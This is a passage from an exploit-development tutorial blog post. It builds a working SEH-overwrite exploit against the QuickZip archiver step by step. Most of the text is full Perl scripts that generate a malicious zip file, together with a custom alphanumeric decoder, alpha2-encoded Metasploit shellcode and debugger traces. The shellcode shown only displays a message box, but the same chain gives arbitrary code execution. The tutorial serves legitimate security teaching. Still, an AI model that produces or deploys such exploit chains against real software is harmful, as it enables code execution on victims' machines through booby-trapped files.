  • we can use a pointer to pop pop ret from the executable itself (quickzip.exe) to gain control over the execution flow of the application.
  • we have to deal with a character set limitation that forced us to be a little creative
  • we could find our payload on the heap, unmodified
  • we had to use an egg hunter to locate our payload on the heap, and jump to it
  • we used a custom decoder to align registers and jump to the egg hunter.

Let’s look at the steps to build an exploit for the same vulnerability, but this time I will be using a pointer from a dll delivered with the Windows operating system.     I am using Windows XP SP3 English (Professional), so the addresses I will be using may be different on your system.

I realize and admit that this approach (using a pointer from an OS dll) is less reliable in terms of making the exploit work across various versions of the Windows OS. On the other hand I believe it still is a good exercise.

Have fun with it.

What can we expect ?

Based on the research we did in the first part of the article, this is what one could expect when trying to build a typical SEH based exploit with a ppr pointer from an OS dll. :

  • When using a ppr pointer from an OS dll, we probably don’t have to deal with a null byte
  • As a result of that, we should be able to control the payload that sits in the buffer after overwriting the SEH record (so we would not have to use an egg hunter)
  • When those 2 conditions are met, the 4 byte code a nseh would allow us to jump forward and land at the payload after the SEH record (= location to host shellcode)
  • The shellcode (which can be placed after the SEH record) most likely needs to be encoded, so we may have to do some “magic” to get it to run

The payload structure will look something like this

[junk]+[nseh (jump forward)]+[seh]+[magic]+[encoded payload]

Let’s find out how far we get with this.

First chocolates first : ppr + jump forward

As shown in part 1, the pop pop ret address we need to look for, must be charset compatible. All we need to do to get a list of all available pop pop ret pointers, from non safeseh compiled modules, is run !pvefindaddr p from within Immunity Debugger, while it is attached to the QuickZip application. The output is written to ppr.txt, so we can easily find a working pointer in this file.

One of the addresses that meets our requirements is 0x6D7E4331 (from d3dxof.dll). This address will survive the character set conversion, and is part of a non Safeseh protected module.

image_thumb31

Note : starting from v1.22 of the pvefindaddr plugin, the output files generated by the plugin will contain markers, indicating if a given address is only made up of ascii-printable bytes, and whether these bytes are nums&chars only or not. This will help you locating workable addresses in a faster way.

Next, we will probably want to use the 4 bytes at nseh to make jump forward, effectively jumping over the address in SE Handler, landing at the payload that is put in the buffer right after overwriting the SEH record.

There are 2 approaches to do this.

  • We already know that we cannot use the 0xeb opcode to jump forward. But we also learned that we should be able to use a conditional jump.
  • A second option would be to use opcode at nseh that would acts as a nop slide, and to use a ppr pointer at SE Handler that would, when the bytes it consists of are executed as instructions, would act as a nop as well.  So instead of jumping over the address at SE Handler, we might be able to find a way to just walk across it. This technique is commonly used in SEH based unicode buffer exploits.

Option 1 : Conditional jump

Based on the state of the flags when the access violation occurs (the SEH record is overwritten and the pop pop ret is executed) we may be able to use for instance opcode 0x73 or 0x74 to make a jump forward.  These instructions require a one byte offset, so that’s ok. (We have 4 bytes at our disposal).  One of the smallest character-set compatible offsets we can use is 21.  So if we put 0x74 0x21 0x41 0x41  (where 0x41 just act as fillers here), our code would look something like this.

my $filename="corelan2.zip"; my $ldf_header = "x50x4Bx03x04x14x00x00". "x00x00x00xB7xACxCEx34x00x00x00" . "x00x00x00x00x00x00x00x00" . "xe4x0f" . "x00x00x00"; my $cdf_header = "x50x4Bx01x02x14x00x14". "x00x00x00x00x00xB7xACxCEx34x00x00x00" . "x00x00x00x00x00x00x00x00x00". "xe4x0f". "x00x00x00x00x00x00x01x00". "x24x00x00x00x00x00x00x00"; my $eofcdf_header = "x50x4Bx05x06x00x00x00". "x00x01x00x01x00". "x12x10x00x00". "x02x10x00x00". "x00x00"; my $nseh="x74x21x41x41"; #conditional jump forward my $seh = "x31x43x7ex6d"; #pop pop ret from d3dxof.dll my $payload = "A" x 297 . $nseh . $seh; my $rest = "B" x (4064 - length($payload)) . ".txt"; $payload = $payload.$rest; print "Payload size : " . length($payload)."n"; print "[+] Removing $filenamen"; system("del $filename"); print "[+] Creating new $filenamen"; open(FILE, ">$filename"); print FILE $ldf_header.$payload.$cdf_header.$payload.$eofcdf_header; close(FILE);

Execute the script, and open the newly created zip file in QuickZip. Trigger the overflow and look at the current CPU view right after pop pop ret got executed :

We land at 0x0012FBFC (nseh), which contains our conditional jump, followed by 41 41)

image_thumb32

This conditional jump will indeed allow us to jump forward and land in the B’s that were located in the buffer right after what was used to overwrite SEH with.

This approach works, but we made a jump over a substantial number of bytes here. Size is not really an issue in this particular exploit, but if it would have been, then perhaps the next option may be a better solution.

Option 2 : “Walkover”

There is a second way to get code execution from nseh, getting past the 4 bytes (pointer address) at SEH.  Instead of making a jump, we can try a walkover.

Start by placing 4 bytes at nseh that would act as a nop (for example 0x41 0x41 0x41 0x41). These 4 bytes would translate into 4 INC ECX instructions, which is pretty harmless at that point in the exploit process. As a result, they would successfully act as NOP.

Next, the ppr pointer, the 4 bytes at SEH, must act as NOP too – or at least should not break execution flow.

Look back  at the screenshot above.  The 4 bytes at SEH (0x6D7E4331), when they would be executed as if they were instructions instead of a pointer to pop pop ret, transpire into the following instructions :

0012FC00 3143 7E XOR DWORD PTR DS:[EBX+7E],EAX 0012FC03 6D INS DWORD PTR ES:[EDI],DX

Obviously, based on the current values in the registers EAX and EBX, the first instruction will cause an access violation :

EAX 00000000 ECX 6D7E4335 D3DXOF.6D7E4335 EDX 7C9032BC ntdll.7C9032BC EBX 00000000 ESP 0012F5C0 EBP 0012F68C ESI 7C9032A8 ntdll.7C9032A8 EDI 00000000 EIP 0012FC00

Both registers (eax and ebx) are set to zero, so we would be trying to write into address at 0000007E, which is not a valid address. We could try to write some code (4 bytes at nseh) to fix this…  (What if we use those 4 bytes to put something useful in eax and ebx ?   It might be possible, (by popping addresses from the stack for example), but let’s not waste our time on that if there is a better solution.)

In this case, the better solution is : find another ppr pointer.

Look back at ppr.txt.  There are plenty of addresses that won’t cause an access violation.  Take for example 0x6D7E4765. When translated into instructions, this would result in

0012FC00 65:47 INC EDI 0012FC02 7E 6D JLE SHORT 0012FC71

The first instruction (INC EDI) will obviously not cause any issues. The second instruction (conditional jump) will not cause an issue either, because the condition to make the jump is not met when the code executes. The zero flag is 0, so the jump is not taken.

Result : the bytes at nseh and SEH would act as some kind of nop, allowing us to walk over the SEH record.

my $filename="corelan2.zip"; my $ldf_header = "x50x4Bx03x04x14x00x00". "x00x00x00xB7xACxCEx34x00x00x00" . "x00x00x00x00x00x00x00x00" . "xe4x0f" . "x00x00x00"; my $cdf_header = "x50x4Bx01x02x14x00x14". "x00x00x00x00x00xB7xACxCEx34x00x00x00" . "x00x00x00x00x00x00x00x00x00". "xe4x0f". "x00x00x00x00x00x00x01x00". "x24x00x00x00x00x00x00x00"; my $eofcdf_header = "x50x4Bx05x06x00x00x00". "x00x01x00x01x00". "x12x10x00x00". "x02x10x00x00". "x00x00"; my $nseh="x41x41x41x41"; #INC ECX = NOP my $seh="x65x47x7ex6d"; #pop pop ret from d3dxof.dll = NOP my $payload = "A" x 297 . $nseh . $seh; my $rest = "B" x (4064 - length($payload)) . ".txt"; $payload = $payload.$rest; print "Payload size : " . length($payload)."n"; print "[+] Removing $filenamen"; system("del $filename"); print "[+] Creating new $filenamen"; open(FILE, ">$filename"); print FILE $ldf_header.$payload.$cdf_header.$payload.$eofcdf_header; close(FILE);

So, after pop pop ret is executed, the 4 bytes at nseh will just perform INC ECX, and then the 4 bytes at SE will get executed and act as a slide.

nseh :

image_thumb33

Step through until 0012FC04 (which is the first “B” placed in the buffer after overwriting the SEH record)

image_thumb34

That worked fine, we ended right after SEH and we didn’t spoil any bytes.

The chocolate shellcode

Ok, at this point we know that we have space for shellcode and that we can get code to execute.  In this article, I will use the second “walkover” option, because the “ganache” tastes much better.

In part 1, we discovered that our buffer is subject to character set limitation.  We had to alpha encode our egg hunter to make it work.  The shellcode itself, however, was not impacted a lot, but it was placed on the heap (hence the need for the egg hunter).   In the current exercise, there is plenty of room for shellcode, in a controlled location, on the stack.  We only have to encode the shellcode, and get it to execute.

Creating the shellcode

We will use some basic MessageBox shellcode again :

root@krypt2:/pentest/exploits/framework3# ./msfpayload windows/messagebox TITLE="CORELAN" TEXT="corelanc0d3r says hi again to all Offensive Security Blog visitors" P  # windows/messagebox - 328 bytes # http://www.metasploit.com # EXITFUNC=process, TEXT=corelanc0d3r says hi again to all # Offensive Security Blog visitors, TITLE=CORELAN my $buf = "xd9xebx9bxd9x74x24xf4x31xd2xb2x7ax31xc9x64" . "x8bx71x30x8bx76x0cx8bx76x1cx8bx46x08x8bx7e" . "x20x8bx36x38x4fx18x75xf3x59x01xd1xffxe1x60" . "x8bx6cx24x24x8bx45x3cx8bx54x05x78x01xeax8b" . "x4ax18x8bx5ax20x01xebxe3x37x49x8bx34x8bx01" . "xeex31xffx31xc0xfcxacx84xc0x74x0axc1xcfx0d" . "x01xc7xe9xf1xffxffxffx3bx7cx24x28x75xdex8b" . "x5ax24x01xebx66x8bx0cx4bx8bx5ax1cx01xebx8b" . "x04x8bx01xe8x89x44x24x1cx61xc3xb2x08x29xd4" . "x89xe5x89xc2x68x8ex4ex0execx52xe8x9cxffxff" . "xffx89x45x04xbbx7exd8xe2x73x87x1cx24x52xe8" . "x8bxffxffxffx89x45x08x68x6cx6cx20xffx68x33" . "x32x2ex64x68x75x73x65x72x88x5cx24x0ax89xe6" . "x56xffx55x04x89xc2x50xbbxa8xa2x4dxbcx87x1c" . "x24x52xe8x5exffxffxffx68x4cx41x4ex58x68x43" . "x4fx52x45x31xdbx88x5cx24x07x89xe3x68x72x73" . "x58x20x68x73x69x74x6fx68x67x20x76x69x68x20" . "x42x6cx6fx68x72x69x74x79x68x53x65x63x75x68" . "x69x76x65x20x68x66x65x6ex73x68x6cx20x4fx66" . "x68x6fx20x61x6cx68x69x6ex20x74x68x20x61x67" . "x61x68x73x20x68x69x68x20x73x61x79x68x30x64" . "x33x72x68x6cx61x6ex63x68x63x6fx72x65x31xc9" . "x88x4cx24x42x89xe1x31xd2x52x53x51x52xffxd0" . "x31xc0x50xffx55x08";

Encoding the shellcode

Encoding this shellcode is easy. Write the perl shellcode bytes to a file (see writecode.pl script below), and we also need to take a decision about the basereg to use.

We remember from part 1 that we needed to write a custom decoder to make this basereg point exactly to the first byte of the encoded shellcode to make it work.  And that custom decoder uses eax as register to craft our bytecode values.  Using eax as basereg is not a good choice… so we will use ebx as basereg.

root@krypt2:/pentest/exploits/alpha2# cat writecode.pl #!/usr/bin/perl # Little script to write shellcode to file # Written by Peter Van Eeckhoutte # http://www.corelan.be:8800 my $code = "xd9xebx9bxd9x74x24xf4x31xd2xb2x7ax31xc9x64" . "x8bx71x30x8bx76x0cx8bx76x1cx8bx46x08x8bx7e" . "x20x8bx36x38x4fx18x75xf3x59x01xd1xffxe1x60" . "x8bx6cx24x24x8bx45x3cx8bx54x05x78x01xeax8b" . "x4ax18x8bx5ax20x01xebxe3x37x49x8bx34x8bx01" . "xeex31xffx31xc0xfcxacx84xc0x74x0axc1xcfx0d" . "x01xc7xe9xf1xffxffxffx3bx7cx24x28x75xdex8b" . "x5ax24x01xebx66x8bx0cx4bx8bx5ax1cx01xebx8b" . "x04x8bx01xe8x89x44x24x1cx61xc3xb2x08x29xd4" . "x89xe5x89xc2x68x8ex4ex0execx52xe8x9cxffxff" . "xffx89x45x04xbbx7exd8xe2x73x87x1cx24x52xe8" . "x8bxffxffxffx89x45x08x68x6cx6cx20xffx68x33" . "x32x2ex64x68x75x73x65x72x88x5cx24x0ax89xe6" . "x56xffx55x04x89xc2x50xbbxa8xa2x4dxbcx87x1c" . "x24x52xe8x5exffxffxffx68x4cx41x4ex58x68x43" . "x4fx52x45x31xdbx88x5cx24x07x89xe3x68x72x73" . "x58x20x68x73x69x74x6fx68x67x20x76x69x68x20" . "x42x6cx6fx68x72x69x74x79x68x53x65x63x75x68" . "x69x76x65x20x68x66x65x6ex73x68x6cx20x4fx66" . "x68x6fx20x61x6cx68x69x6ex20x74x68x20x61x67" . "x61x68x73x20x68x69x68x20x73x61x79x68x30x64" . "x33x72x68x6cx61x6ex63x68x63x6fx72x65x31xc9" . "x88x4cx24x42x89xe1x31xd2x52x53x51x52xffxd0" . "x31xc0x50xffx55x08"; print "Writing code to file code.bin...n"; open(FILE,">code.bin"); print FILE $code; close(FILE); root@krypt2:/pentest/exploits/alpha2# perl writecode.pl Writing code to file code.bin... root@krypt2:/pentest/exploits/alpha2# ./alpha2 ebx --uppercase < code.bin SYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBX P8ACJJIN9JKMK8YRTGTL4FQXROBSJ6QO9E4LKRQ00LKBV4LLKD6U LLKPF38LKCNWPLK6V7H0OR82UL30YEQHQKOM13PLKRLFD7TLKG5W LLKPTS5SHUQJJLK0JEHLK1JWP31JKKS6WPILKP4LK31JNVQKOP1I PKLNLMTIP2TEZYQ8OTMEQXGKYZQKOKOKOGKSLWTQ8RUINLK1J7TE QJKU6LK4LPKLKQJULEQZKLKUTLKUQJHMYPDVDUL3Q8CH2DHVIN4M YKUMYO2RHLNPNDNZLPRZHMLKOKOKOMYPETDOKSN8XKR43MW5LVDP RM8LKKOKOKOMYQUEX3XRLRL7PKORHWCGBVN3T3XT5T3SUBRK81LV DUZK9KV0VKO1E5TK9XBPPOK98NB0MOLMWULQ41BM8QNKOKOKOU8P L1QPN68581SPOPR0EVQYKLHQLVDEWK9M3E8T22SQH10RH43SY2T2 O3XCW7PT6BIU8GP0B2LBO3XD2U9T4RYU8PS553SRU5859SFU5WPR HCVREBNBSU8RL7PPORFRHRO7P3QRLRHU9RNQ0D458Q0E1RG3Q2HR SQ0CXCY3XWPT33QT9U80054VSBR3XRL3QBN2C2HRCBORR55VQ9YM XPLWTQRMYKQ6QN2QBF3PQF2KO8PP1YP0PKOPU4HA

So far so good. We will place this encoded shellcode in the buffer after overwriting SEH.

Basereg Magic : preparing the custom decoder

Before we can even think about trying out this shellcode, we have to write some code to make ebx point at the first byte of the encoded shellcode.

When the 8 bytes of code at nseh and seh got executed, EBX doesn’t really point at a useful value yet (see screenshot below, it currently points at 0x7C9032A8, an address from ntdll.dll).

So we need to write some code to correct this value, and make it point exactly at the first byte of the encoded shellcode.  That means that, between the overwritten SEH structure and the encoded shellcode, we will have to write some code.

In part 1 of this article, we learned that, because of the character set limitation, we need to use a custom decoder to do that.

In this scenario, we will be able to write this custom decoder in the payload buffer and position it after overwriting the SEH record.  The goal is to make ebx point to the encoded shellcode, so the encoded shellcode must be in a fixed/predictable location.  So in order to reserve some space for the custom decoder, and in order to put the shellcode in a predicatable location, we will use a block of 100 bytes. 100 bytes after overwriting SEH, to “host” the custom decoder + additional filler space (up to 100 bytes), and then after these 100 bytes we’ll put our encoded shellcode.

That means that our payload will look something like this :

[junk1]+[nseh]+[seh]++[junk2]+[encoded shellcode]+[junk3 ] [ 297 ] [ 4 ] [ 4 ] [ 100 bytes ] [ x bytes ] [ fill ]

where  junk1 = offset to nseh, junk2 = amount of bytes needed to fill the space between the code to align ebx and the start location of that code + 100 bytes, and junk3 = the amount of bytes needed to fill the buffer up to 4064 bytes.

In the screenshot below, the address at EIP, which points right after the memory location where we land when the 4 bytes at SEH have been executed (as instructions), is 0x0012FC04.   That would mean that we need to place the shellcode at 0x0012FC04 + 100 bytes (0x64 bytes). The goal is to use these 100 bytes to put 0x0012FC04 + 0x64 into EBX, and make the jump to ebx (using the custom decoder).

Got it ?

image_thumb35

There are a number of ways to get this value into ebx, but as stated above, you will have to write a custom decoder to do this, because the code you need to write needs to be “filename-compatible”.

Inside this custom decoder, you could for example hardcode 0x0012FC68. (BAD BAD BAD IDEA, even if the address appears to be static on your machine, and appears to be static even after a reboot).

You could also take a value from a register or from the stack (put it in eax and basically do a series of SUB operations on it, to produce an offset to this address)… , you could even use getpc code and adding the offset.

But let’s keep things simple here.   Perhaps we can kill 2 chocolates with one stone.

Think about it.  The custom decoder will push bytecode to the stack. In order to be able to execute that bytecode, we will need to control the location where this code is written to, so we can get it to execute after it was reproduced.  That location is esp.

So perhaps we can use the same value as esp and put that in ebx, and use it as base address for doing the math.  That way, we may be able to do our math calculation and produce the desired address in ebx, based on that value.

There are a number of ways to modify esp.  We could copy a value from a register, or pop one from the stack. If we have a good start value in esp, we can easily put it in ebx as well.

So, in short :

  • The custom decoder which we will use, will reproduce the opcodes to craft a value in ebx and will put those reproduced instructions in a certain location (at esp)
  • A location we control.  (by modifying esp, and putting that value in ebx at the same time)
  • Next, when these instructions are written, they need to get executed.
  • When these instructions are executed, some bytes are added to ebx (so ebx would point to the encoded shellcode) and then we need to jump to it.

That’s all there’s to it.

More magic : Determining the decoder’s target location

First you need to determine where the decoder will write the reproduced code to. In the previous article, we found a way to write the reproduced code directly after the custom decoder, by popping values from the stack and putting a value below the decoder on in ESP.  (When the decoder finished running, the reproduced code gets executed ‘automagically’ because it was written just below the decoder.)

We also remember that the instructions to put a value into ESP, must use filename-compatible bytecode only.

Take a look at the registers and the stack right after the 8 bytes of code (nseh + seh) got executed.  It doesn’t look like we can use the same technique this time. Not a single register points to a location that points below the custom decoder. And at first sight, we cannot seem to find a good address that points to a useful location below the custom decoder on the stack either :

image_thumb36

So, what would you do ?

This is what I did :  Instead of writing the reproduced code below the custom encoder, I will write it above and I will make a jump back. After all, we can still use conditional jumps (including backward jumps), as we have learned in part 1 of the article series.   And we still meet our ultimate goal : we have a reliable address in esp, and it can be used as base for calculating the value that needs to be put in ebx too.

Look at the stack.  The 3rd value on the stack may be useful :

image_thumb37

0x0012FBFC. (=This is where our nseh (0x41 0x41 0x41 0x41) is located – but that’s just FYI.  After all, at this point, we are way past the point where nseh and seh are important/used, so it’s ok if we overwrite these bytes)

image_thumb38

If we can put this value (0x0012FBFC) into esp and into ebx prior to reproducing the code (=running the decoder), we will end up writing above the custom decoder. At the end of the custom decoder, we just need to jump back to get that code to execute and we’re done.

Note : look back at the stack. You could have used 0012F990 (first address) as well. This address also points above the current location, but you would have to write a series of backward jumps to get to that location.  Or, alternatively, you could put the first address in ebx, and the third one in esp; and use 0012F990 as base value for the math exercise. All of this is perfectly, but why make things more complex if it’s not really necessary.

Writing the code to craft a value in ebx and esp

In order to get a good value into ebx, we decided to take the third value from the stack, put it in esp (so the decoder will write the reproduced code in a reliable location), and also in ebx (so it can be used as start value for the reproduced code).  It is clear that the code to put this address into esp and ebx needs to be executed prior to running the custom decoder.

A simple way to achieve this is :

  • pop ebx
  • pop ebx
  • pop ebx
  • push ebx
  • pop esp

or, in opcode :

image_thumb39

0x5b 0x5b 0x5b 0x53 0x5c

Oops – bad chocolate

Ah – there’s a problem with this.  The opcode for pop ebx is not filename compatible.  0x5B = “[“ . Try it – this character will break the exploit.

That also means that we cannot use ebx as basereg.  We have to use something different.

ECX would do better. The opcode to pop ecx is 0x59, and that corresponds with “Y”.  The opcode to perform push ecx is 0x51 (which is fine too : “Q”)

That means that we need to change the code and use ecx instead of ebx. We also need to use ecx as basereg as well. (So we simply have to re-encode the shellcode using ecx as basereg. We’ll take care of that later on).

  • pop ecx  (0x59)
  • pop ecx  (0x59)
  • pop ecx  (0x59)
  • push ecx  (0x51)
  • pop esp  (0x5c)

Let’s put everything we have so far into one script.

The two most important components in our modified script are :

  • the opcode to put the start value in esp and ecx
  • the filler (100 bytes between the first byte after SEH and the position where we will put our encoded shellcode later on)
my $filename="corelan2.zip"; my $ldf_header = "x50x4Bx03x04x14x00x00". "x00x00x00xB7xACxCEx34x00x00x00" . "x00x00x00x00x00x00x00x00" . "xe4x0f" . "x00x00x00"; my $cdf_header = "x50x4Bx01x02x14x00x14". "x00x00x00x00x00xB7xACxCEx34x00x00x00" . "x00x00x00x00x00x00x00x00x00". "xe4x0f". "x00x00x00x00x00x00x01x00". "x24x00x00x00x00x00x00x00"; my $eofcdf_header = "x50x4Bx05x06x00x00x00". "x00x01x00x01x00". "x12x10x00x00". "x02x10x00x00". "x00x00"; my $nseh="x41x41x41x41"; #INC ECX = NOP my $seh="x65x47x7ex6d"; #pop pop ret from d3dxof.dll = NOP my $payload = "A" x 297 . $nseh . $seh; #pop ecx, pop ecx, pop ecx, push ecx, pop esp my $predecoder = "x59x59x59x51x5c"; my $decoder=" "; $payload=$payload.$predecoder.$decoder; my $filltoebx="B" x (100-length($predecoder.$decoder)); my $rest = "C" x (4064-length($payload.$filltoebx)) . ".txt"; $payload = $payload.$filltoebx.$rest; print "Payload size : " . length($payload)."n"; print "[+] Removing $filenamen"; system("del $filename"); print "[+] Creating new $filenamen"; open(FILE, ">$filename"); print FILE $ldf_header.$payload.$cdf_header.$payload.$eofcdf_header; close(FILE);

(note : we will replace the C’s at $rest with the encoded shellcode later on)

Create a zip file with this code, load it in quickzip and trigger the overflow.  After pop pop ret is executed, we see this :

image_thumb30

Step through until after the POP ESP instruction (at 0x0012FC08) and take a look at ECX and ESP :

image_thumb42

That looks fine. Both registers now contain the value we expected.   The value in ESP will make sure our decoder writes the original/reproduced code at a predictable location, and the value in ECX will be used as baseaddress for the encoded shellcode.

Building the decoder

Now we need to write the custom decoder that would add some bytes to ecx, to make it point at the begin of the encoded shellcode, and then jump to it.

The offset we need to add to ecx can be calculated like this :  0x0012FC04 (location of our code right after SEH) +0x64h (100 bytes) – 0x0012FBFC (start value in ecx) = 0x6C

The asm code to add this offset to ecx and then make the jump, looks like this :

  • add ecx,0x6c
  • jmp ecx

In opcode :

image_thumb45

In my previous article, I have already explained the steps to build a custom decoder which will reproduce 4 bytes of code at a time, so I won’t explain the details again.

The first 4 bytes that need to be reproduced and pushed onto the stack are 0x00 0x00 0xff 0xe1 :

"x25x4Ax4Dx4Ex55". #zero eax "x25x35x32x31x2A". "x2Dx55x55x55x5F". #put value in eax "x2Dx55x55x55x5F". "x2Dx56x55x56x5F".

Add a push eax (0x50) instruction to push these 4 bytes to the stack.  ESP currently points at 0x0012FBFC, so these 4 bytes will be put at 0x0012FBF8.)

The last 4 bytes that need to be reproduced are 0x81 0xc1 0x6c 0x00 :

"x25x4Ax4Dx4Ex55". #zero eax "x25x35x32x31x2A". "x2Dx2Ax6Ax31x55". #put value in eax "x2Dx2Ax6Ax31x55". "x2Dx2Bx5Ax30x55".

Again, add push eax (0x50) at the end, which will push the reproduced 4 bytes onto the stack.

Finally, add a jump back at the end of the decoder : 0x73 0xf7 (because of the character set conversion, this will get converted to 0x73 0x98, making a backward jump of 101 bytes. And that should make us land in the A’s before the reproduced decoder)

Note : A = 0x41 = INC ECX. We are using ECX as baseregister for calculating the encoded shellcode’s basereg, so we cannot use A’s… They would change the value in ecx, and that would break our offset calculation. That means that we must use a different character as junk before nseh, a character that would also act as a nop slide. B’s would work just fine (INC EDX).

We will put the custom decoder in the block of 100 bytes right after the $predecoder.  The rest of the 100 bytes will be filled with B’s.  After the 100 B’s (where the encoded shellcode need to be placed), we still have a bunch of C’s.   So when the decoder has finished running, and the reproduced code gets executed, we should see that ECX points at the first C.
The entire script, including decoder and jump back after the decoder, looks like this :

my $filename="corelan2.zip"; my $ldf_header = "x50x4Bx03x04x14x00x00". "x00x00x00xB7xACxCEx34x00x00x00" . "x00x00x00x00x00x00x00x00" . "xe4x0f" . "x00x00x00"; my $cdf_header = "x50x4Bx01x02x14x00x14". "x00x00x00x00x00xB7xACxCEx34x00x00x00" . "x00x00x00x00x00x00x00x00x00". "xe4x0f". "x00x00x00x00x00x00x01x00". "x24x00x00x00x00x00x00x00"; my $eofcdf_header = "x50x4Bx05x06x00x00x00". "x00x01x00x01x00". "x12x10x00x00". "x02x10x00x00". "x00x00"; my $nseh="x41x41x41x41"; #INC ECX = NOP my $seh="x65x47x7ex6d"; #pop pop ret from d3dxof.dll = NOP my $payload = "B" x 297 . $nseh . $seh; #B = INC EDX #pop ecx, pop ecx, pop ecx, push ecx, pop esp my $predecoder = "x59x59x59x51x5c"; my $decoder="x25x4Ax4Dx4Ex55". #zero eax "x25x35x32x31x2A". "x2Dx55x55x55x5F". #put value in eax "x2Dx55x55x55x5F". "x2Dx56x55x56x5F". "x50". #push eax "x25x4Ax4Dx4Ex55". #zero eax "x25x35x32x31x2A". "x2Dx2Ax6Ax31x55". #put value in eax "x2Dx2Ax6Ax31x55". "x2Dx2Bx5Ax30x55". "x50". #push eax "x73xf7"; #jump back 101 bytes $payload=$payload.$predecoder.$decoder; my $filltoebx="B" x (100-length($predecoder.$decoder)); my $rest = "C" x (4064-length($payload.$filltoebx)) . ".txt"; $payload = $payload.$filltoebx.$rest; print "Payload size : " . length($payload)."n"; print "[+] Removing $filenamen"; system("del $filename"); print "[+] Creating new $filenamen"; open(FILE, ">$filename"); print FILE $ldf_header.$payload.$cdf_header.$payload.$eofcdf_header; close(FILE);

Create zip, load the zip file (notice : the folder now starts with B’s instead of A’s) :

image_thumb48

Trigger the crash, let pop pop ret execute, and then step all the way until right before the jump back instruction that sits at the bottom of the custom decoder.

Each decoder block has written 4 bytes to the stack. Because we made ESP point at 0x0012FBFC before the decoder started to run, the code is written a few bytes above the decoder itself.  ECX also contains 0x0012FBFC, as expected.

image_thumb55

When the backward jump is made, EIP jumps back to 0x0012FBD7, which is 29 bytes before the reproduced code. At that location, we land in our buffer with B’s (=0x42 = inc edx). The series of INC EDX instructions will not break anything, so eventually the ADD ECX,6C and JMP ECX will get executed.

image_thumb56

Note : we used a block of 100 bytes for the custom decoder. You can obviously optimize it and decrease this block size.  You will have to change the code inside the custom decoder to reflect the new block size… can be done easily.

Right after ADD ECX,6C gets executed, we see that ECX now points at the begin of the C’s (so our offset calculation was correct.)

image_thumb59

All we need to do now is put our encoded shellcode instead of the C’s, and we should be done.

Put shellcode in place

First, verify that you re-encoded the shellcode with basereg ecx :

/alpha2 ecx --uppercase < code.bin

(I used uppercase, but it should work without uppercase too)

Put the encoded shellcode in the exploit script, and fill up the remaining buffer with C’s :

my $filename="corelan2.zip"; my $ldf_header = "x50x4Bx03x04x14x00x00". "x00x00x00xB7xACxCEx34x00x00x00" . "x00x00x00x00x00x00x00x00" . "xe4x0f" . "x00x00x00"; my $cdf_header = "x50x4Bx01x02x14x00x14". "x00x00x00x00x00xB7xACxCEx34x00x00x00" . "x00x00x00x00x00x00x00x00x00". "xe4x0f". "x00x00x00x00x00x00x01x00". "x24x00x00x00x00x00x00x00"; my $eofcdf_header = "x50x4Bx05x06x00x00x00". "x00x01x00x01x00". "x12x10x00x00". "x02x10x00x00". "x00x00"; my $nseh="x41x41x41x41"; #INC ECX = NOP my $seh="x65x47x7ex6d"; #pop pop ret from d3dxof.dll = NOP my $payload = "B" x 297 . $nseh . $seh; #B = INC EDX #pop ecx, pop ecx, pop ecx, push ecx, pop esp my $predecoder = "x59x59x59x51x5c"; my $decoder="x25x4Ax4Dx4Ex55". #zero eax "x25x35x32x31x2A". "x2Dx55x55x55x5F". #put value in eax "x2Dx55x55x55x5F". "x2Dx56x55x56x5F". "x50". #push eax "x25x4Ax4Dx4Ex55". #zero eax "x25x35x32x31x2A". "x2Dx2Ax6Ax31x55". #put value in eax "x2Dx2Ax6Ax31x55". "x2Dx2Bx5Ax30x55". "x50". #push eax "x73xf7"; #jump back 101 bytes $payload=$payload.$predecoder.$decoder; my $filltoecx="B" x (100-length($predecoder.$decoder)); #alpha2 encoded - skylined - basereg ECX my $shellcode = "IIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABT". "AAQ2AB2BB0BBXP8ACJJIN9JKMKXYBTGTJTVQ9B82BZVQYYE4LK2Q6P". "LKBVTLLKT65LLK0F38LKCNWPLKP6VX0ODX3EKCF95QHQKOKQE0LK2L". "Q4FDLK1UWLLK64S5BXUQJJLK1Z5HLK1JQ0UQJKM3P7PILKWDLKUQJN". "P1KO6QO0KLNLMTO02T4JIQXOTMS1O7M9JQKOKOKO7KCLFD18RU9NLK". "PZQ45QJKCVLKTLPKLKPZ5L31ZKLK5TLKUQM8MYQTQ45L3Q9SNRUX7Y". "N4MYKUMYO258LNPNTNZLV2KXMLKOKOKOK9W534OK3NN8JBBSLGELQ4". "PRJHLKKOKOKOMY1UTHSXBLBL7PKOSXP36RVNE4U8CEBSSUT2LH1LWT". "UZK9JFPVKO0US4K9IR60OKOXORPMOLMW5LQ4F2M81NKOKOKO2HPLW1". "PNF8U8W3POV275P1IKK81LWT37MYKSU8BRT31HWPRH2SCYSDRO3XSW". "102VSY3XWPQR2LBOCXT259RT49U80S3UBC2U58CYRVSUWPSX56E5BN". "T3U82L7PPOCVSX2OQ0SQRLRHRIRNQ04458WPCQSWU1SX3CQ0SXRI2H". "WPBSU1RYU8P0CTFSBRE8RL3Q2NU3CXRC2OD2U56QHIK80LGT1RK9KQ". "VQN2F2PSPQ0RKON0P1IPPPKO0U5XA"; my $rest = "C" x (4064-length($payload.$filltoecx.$shellcode)) . ".txt"; $payload = $payload.$filltoecx.$shellcode.$rest; print "Payload size : " . length($payload)."n"; print "[+] Removing $filenamen"; system("del $filename"); print "[+] Creating new $filenamen"; open(FILE, ">$filename"); print FILE $ldf_header.$payload.$cdf_header.$payload.$eofcdf_header; close(FILE);

Chocolate meltdown : Click click boom

image_thumb62

© 2010 – 2021, Peter Van Eeckhoutte (corelanc0d3r). All rights reserved.

Comments are closed.

Corelan Training

We have been teaching our win32 exploit dev classes at various security cons and private companies & organizations since 2011

Check out our schedules page here and sign up for one of our classes now!

Donate

Want to support the Corelan Team community ? Click here to go to our donations page.

Want to donate BTC to Corelan Team?



Your donation will help funding server hosting.

Corelan Team Merchandise

You can support Corelan Team by donating or purchasing items from the official Corelan Team merchandising store.

Protected by Copyscape Web Plagiarism Tool

Corelan on Slack

You can chat with us and our friends on our Slack workspace:

  • Go to our facebook page
  • Browse through the posts and find the invite to Slack
  • Use the invite to access our Slack workspace
  • Categories